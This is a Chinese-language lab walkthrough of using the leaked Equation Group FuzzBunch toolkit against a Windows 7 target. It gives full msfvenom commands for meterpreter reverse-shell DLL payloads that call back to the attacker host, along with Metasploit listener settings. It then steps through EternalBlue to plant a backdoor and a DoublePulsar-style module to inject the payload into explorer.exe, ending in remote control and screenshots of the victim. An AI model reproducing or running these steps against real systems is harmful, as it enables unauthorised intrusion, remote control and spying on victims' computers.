方程式工具渗透实战

攻击机：

Kali:192.168.1.103

Win2K3:192.168.1.109

靶机：

Win7(x86):192.168.1.108

1、在win2K3上要先装好Python运行环境：

安装Python-2.6.6.msi、pywin32-221.win32-py2.6.exe

2、现在kali上生成payload模块：

目标主机x86平台：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=5555 -f dll > x86.dll

目标主机x64平台：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=5555 -f dll > x64.dll

然后将payload文件拷贝到win2K3的C盘根目录下

3、打开msf

msfconsole

设置exploit模块

use exploit/multi/handler

set LHOST 192.168.1.103

set LPORT 5555

目标主机x86平台：

set PAYLOAD windows/meterpreter/reverse_tcp

目标主机x64平台：

set PAYLOAD windows/x64/meterpreter/reverse_tcp

开始监听

exploit

 

4、在win2K3，打开方程式工具包，在Windows目录下

 

新建一个名为listeningposts的文件夹

 

否则程序会运行出错。

运行fb.py文件（以下是在特殊的地方设置，未做说明的地方回车选择默认设置）

 

由于win2k3安装在虚拟机，为了节省空间只设了一个C盘，所以日志位置设置在C盘

 

新建一个工程，name自定义

 

先用永恒之蓝在目标主机上安装后门

 

之后回车，target主机选择win72K8R2

 

Mode选择FB

 

之后回车默认选择，然后就在目标主机上安装了后门了

 

然后用怒怼模块

 

协议选择SMB

 

平台选择x86

 

攻击形式选择rundll

 

Payload选择刚才生成的x86.dll，填入路径

 

选择被注入的进程，在实验的时候如果选择默认的进程lsass.exe，在注入过程中会导致靶机重启，所以这里填入explorer.exe

 

然后回车、回车

直到注入成功

 

在kali上就可以看到回弹

 

getuid显示靶机ID：test-PC

 

screenshot截屏

 

存储在/root/XxmgVxIn.jpeg，就可以看到靶机的屏幕截图